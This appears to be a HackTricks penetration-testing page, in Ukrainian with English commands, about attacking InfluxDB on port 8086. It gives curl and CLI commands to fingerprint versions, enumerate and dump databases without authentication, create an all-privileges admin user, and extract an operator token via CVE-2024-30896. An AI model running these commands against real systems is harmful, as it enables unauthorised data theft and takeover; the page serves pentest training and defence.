8086 - Pentesting InfluxDB

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

Основна інформація

InfluxDB — це відкрита база даних часових рядів (TSDB), розроблена InfluxData. TSDB оптимізовані для зберігання та обслуговування даних часових рядів, які складаються з пар мітка часу‑значення. Порівняно з універсальними базами даних, TSDB забезпечують значні покращення в плані місця для зберігання та продуктивності для наборів даних часових рядів. Вони використовують спеціалізовані алгоритми стиснення і можуть бути налаштовані на автоматичне видалення старих даних. Спеціалізовані індекси баз даних також підвищують продуктивність запитів.

Порт за замовчуванням: 8086

PORT     STATE SERVICE VERSION
8086/tcp open  http    InfluxDB http admin 1.7.5

Ідентифікація та версія (HTTP)

  • v1.x: GET /ping повертає статус 204 та заголовки, як-от X-Influxdb-Version та X-Influxdb-Build.
  • v2.x+: GET /health повертає JSON із версією сервера та статусом. Працює без auth.
# v1 banner grab
curl -i http://<host>:8086/ping

# v2/compat health
curl -s http://<host>:8086/health | jq .

Порада: відкриті інстанси часто також подають Prometheus-style метрики за адресою /metrics.

Перерахування

З погляду pentester це ще одна база даних, яка може зберігати конфіденційну інформацію, тому цікаво знати, як зробити dump всієї інформації.

Аутентифікація

InfluxDB може вимагати аутентифікацію, а може й ні.

# Try unauthenticated CLI (v1 shell)
influx -host <host> -port 8086
> use _internal

Якщо ви отримаєте помилку на кшталт цієї: ERR: unable to parse authentication credentials це означає, що очікуються деякі credentials.

influx –username influx –password influx_pass

У influxdb була вразливість, яка дозволяла обійти аутентифікацію: CVE-2019-20933

Manual Enumeration (v1 HTTP API / InfluxQL)

Навіть якщо CLI недоступний, HTTP API зазвичай доступний на порту 8086.

# List databases (unauth)
curl -sG "http://<host>:8086/query" --data-urlencode "q=SHOW DATABASES"

# List retention policies of a DB
curl -sG "http://<host>:8086/query" --data-urlencode "db=telegraf" --data-urlencode "q=SHOW RETENTION POLICIES ON telegraf"

# List users (if auth disabled)
curl -sG "http://<host>:8086/query" --data-urlencode "q=SHOW USERS"

# List measurements (tables)
curl -sG "http://<host>:8086/query" --data-urlencode "db=telegraf" --data-urlencode "q=SHOW MEASUREMENTS"

# List field keys (columns)
curl -sG "http://<host>:8086/query" --data-urlencode "db=telegraf" --data-urlencode "q=SHOW FIELD KEYS"

# Dump data from a measurement
curl -sG "http://<host>:8086/query" \
--data-urlencode "db=telegraf" \
--data-urlencode 'q=SELECT * FROM "cpu" LIMIT 5' | jq .

# Force epoch timestamps (useful for tooling)
curl -sG "http://<host>:8086/query" \
--data-urlencode "epoch=ns" \
--data-urlencode "db=telegraf" \
--data-urlencode 'q=SELECT * FROM "cpu" LIMIT 5'

Warning

У деяких тестах обхід аутентифікації показав, що ім’я таблиці має бути в подвійних лапках, наприклад: select * from "cpu"

Якщо аутентифікація відключена, ви навіть можете створювати користувачів і підвищувати привілеї:

# Create an admin user (v1, auth disabled)
curl -sG "http://<host>:8086/query" \
--data-urlencode "q=CREATE USER hacker WITH PASSWORD 'P@ssw0rd!' WITH ALL PRIVILEGES"

Інформація у наведеному CLI-прикладі взята з here.

Показати бази даних

Знайдені бази даних: telegraf та internal (цю ви знайдете скрізь)

> show databases
name: databases
name
----
telegraf
_internal

Показ таблиць/measurements

InfluxDB documentation пояснює, що measurements в InfluxDB можна порівняти з SQL-таблицями. Номенклатура цих measurements вказує на їхній відповідний вміст, причому кожна з них містить дані, що стосуються певної сутності.

> show measurements
name: measurements
name
----
cpu
disk
diskio
kernel
mem
processes
swap
system

Показати стовпці/ключі полів

Ключі полів схожі на стовпці бази даних

> show field keys
name: cpu
fieldKey         fieldType
--------         ---------
usage_guest      float
usage_guest_nice float
usage_idle       float
usage_iowait     float

name: disk
fieldKey     fieldType
--------     ---------
free         integer
inodes_free  integer
inodes_total integer
inodes_used  integer

[ ... more keys ...]

Dump Table

І нарешті ви можете dump the table, зробивши щось на кшталт:

select * from cpu
name: cpu
time                cpu       host   usage_guest usage_guest_nice usage_idle        usage_iowait        usage_irq usage_nice usage_softirq        usage_steal usage_system        usage_user
----                ---       ----   ----------- ---------------- ----------        ------------        --------- ---------- -------------        ----------- ------------        ----------
1497018760000000000 cpu-total ubuntu 0           0                99.297893681046   0                   0         0          0                    0           0.35105315947842414 0.35105315947842414
1497018760000000000 cpu1      ubuntu 0           0                99.69909729188728 0                   0         0          0                    0           0.20060180541622202 0.10030090270811101

InfluxDB v2.x API (на основі токенів)

InfluxDB 2.x вводить аутентифікацію на основі токенів і новий API (за замовчуванням все ще на 8086). Якщо ви отримали токен (leaked logs, default deployments, backups) ви можете перерахувати:

# Basic org, bucket, and auth discovery
TOKEN="<token>"; H="-H Authorization: Token $TOKEN"

# Health & version
curl -s http://<host>:8086/health | jq .

# List organizations
curl -s $H http://<host>:8086/api/v2/organizations | jq .

# List buckets
curl -s $H 'http://<host>:8086/api/v2/buckets?limit=100' | jq .

# List authorizations (requires perms)
ORGID=<org_id>
curl -s $H "http://<host>:8086/api/v2/authorizations?orgID=$ORGID" | jq .

# Query data with Flux
curl -s $H -H 'Accept: application/csv' -H 'Content-Type: application/vnd.flux' \
-X POST http://<host>:8086/api/v2/query \
--data 'from(bucket:"telegraf") |> range(start:-1h) |> limit(n:5)'

Примітки

  • Для v1.8+ існують деякі сумісні з v2 кінцеві точки (/api/v2/query, /api/v2/write, /health). Це корисно, якщо сервер — v1, але приймає запити у стилі v2.
  • У v2 HTTP-заголовок Authorization має бути у форматі Token <value>.

Автоматизований збір інформації

msf6 > use auxiliary/scanner/http/influxdb_enum

Останні уразливості та підвищення привілеїв, що заслуговують уваги (останні роки)

  • InfluxDB OSS 2.x through 2.7.11 operator token exposure (CVE-2024-30896). За певних умов аутентифікований користувач з правом читання authorization resource у default organization міг перелічити та отримати instance-wide operator token (наприклад, через influx auth ls або GET /api/v2/authorizations). Маючи цей токен, зловмисник може адмініструвати інстанс (buckets, tokens, users) та отримати доступ до всіх даних у різних orgs. Оновіть до виправленої збірки, коли вона стане доступною, і уникайте розміщення звичайних користувачів у default org. Швидка перевірка:
# Using a low-priv/all-access token tied to the default org
curl -s -H 'Authorization: Token <user_or_allAccess_token>' \
'http://<host>:8086/api/v2/authorizations?orgID=<default_org_id>' | jq .
# Look for entries of type "operator" and extract the raw token (if present)
  • Багато застарілих розгортань 1.x все ще виставляють /query і /write без аутентифікації в Інтернеті. Якщо auth вимкнено, ви можете знімати дамп або навіть змінювати часові ряди на власний розсуд; також можна створювати admin users, як показано вище. Завжди перевіряйте через HTTP API, навіть якщо CLI блокує вас.

Посилання

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks